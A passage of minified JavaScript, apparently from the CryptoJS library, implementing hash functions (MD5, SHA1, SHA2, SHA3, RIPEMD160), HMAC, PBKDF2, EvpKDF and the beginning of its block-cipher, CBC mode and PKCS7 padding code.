e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if 